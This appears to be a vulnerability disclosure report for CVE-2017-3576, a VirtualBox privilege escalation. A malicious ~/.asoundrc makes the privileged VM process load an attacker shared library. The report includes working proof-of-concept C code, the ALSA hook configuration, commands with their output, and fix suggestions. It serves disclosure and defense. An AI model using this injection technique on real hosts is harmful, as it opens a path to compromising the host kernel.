VirtualBox: unprivileged host user -> host kernel privesc via ALSA config 

CVE-2017-3576


This is another way to escalate from an unprivileged userspace process
into the VirtualBox process, which has an open file descriptor to the
privileged device /dev/vboxdrv and can use that to compromise the
host kernel.

The issue is that, for VMs with ALSA audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. ALSA is not designed to run in a setuid
context and therefore deliberately permits loading arbitrary shared
libraries via dlopen().

To reproduce, on a normal Ubuntu desktop installation with VirtualBox
installed, first configure a VM with ALSA audio, then (where
ee347b44-b82d-41c2-b643-366cf297a37c is the ID of that VM):


~$ cd /tmp
/tmp$ cat > evil_vbox_lib.c
#define _GNU_SOURCE

#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>

extern char *program_invocation_short_name;

__attribute__((constructor)) void run(void) {
  if (strcmp(program_invocation_short_name, "VirtualBox"))
    return;

  prctl(PR_SET_DUMPABLE, 1);
  printf("running in pid %d\n", getpid());
  printf("searching for vboxdrv file descriptor in current process...\n");
  char linkbuf[1000];
  char *needle = "/dev/vboxdrv";
  for (int i=0; i<1000; i++) {
    char linkpath[1000];
    sprintf(linkpath, "/proc/self/fd/%d", i);
    ssize_t linklen = readlink(linkpath, linkbuf, sizeof(linkbuf)-1);
    if (linklen == -1) continue;
    if (linklen == strlen(needle) && memcmp(linkbuf, needle, strlen(needle)) == 0) {
      printf("found it, fd %d is /dev/vboxdrv\n", i);
    }
  }
  _exit(0);
}
/tmp$ gcc -shared -o evil_vbox_lib.so evil_vbox_lib.c -fPIC -Wall -ldl -std=gnu99
/tmp$ cat > ~/.asoundrc
hook_func.pulse_load_if_running {
        lib "/tmp/evil_vbox_lib.so"
        func "conf_pulse_hook_load_if_running"
}
/tmp$ /usr/lib/virtualbox/VirtualBox --startvm ee347b44-b82d-41c2-b643-366cf297a37c
running in pid 8910
searching for vboxdrv file descriptor in current process...
found it, fd 7 is /dev/vboxdrv
/tmp$ rm ~/.asoundrc


I believe that the ideal way to fix this would involve running
libasound, together with other code that doesn't require elevated
privileges - which would ideally be all userland code -, in an
unprivileged process. However, for now, moving only the audio output
handling into an unprivileged process might also do the job; I haven't
yet checked whether there are more libraries VirtualBox loads that
permit loading arbitrary libraries into the VirtualBox process.

You could probably theoretically also fix this by modifying libasound
to suppress dangerous configuration directives in ~/.asoundrc, but I
believe that that would be brittle and hard to maintain.

Tested on Ubuntu 14.04.5 with VirtualBox 5.1.14 <a href="https://crrev.com/112924" title="" class="" rel="nofollow">r112924</a>.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: jannh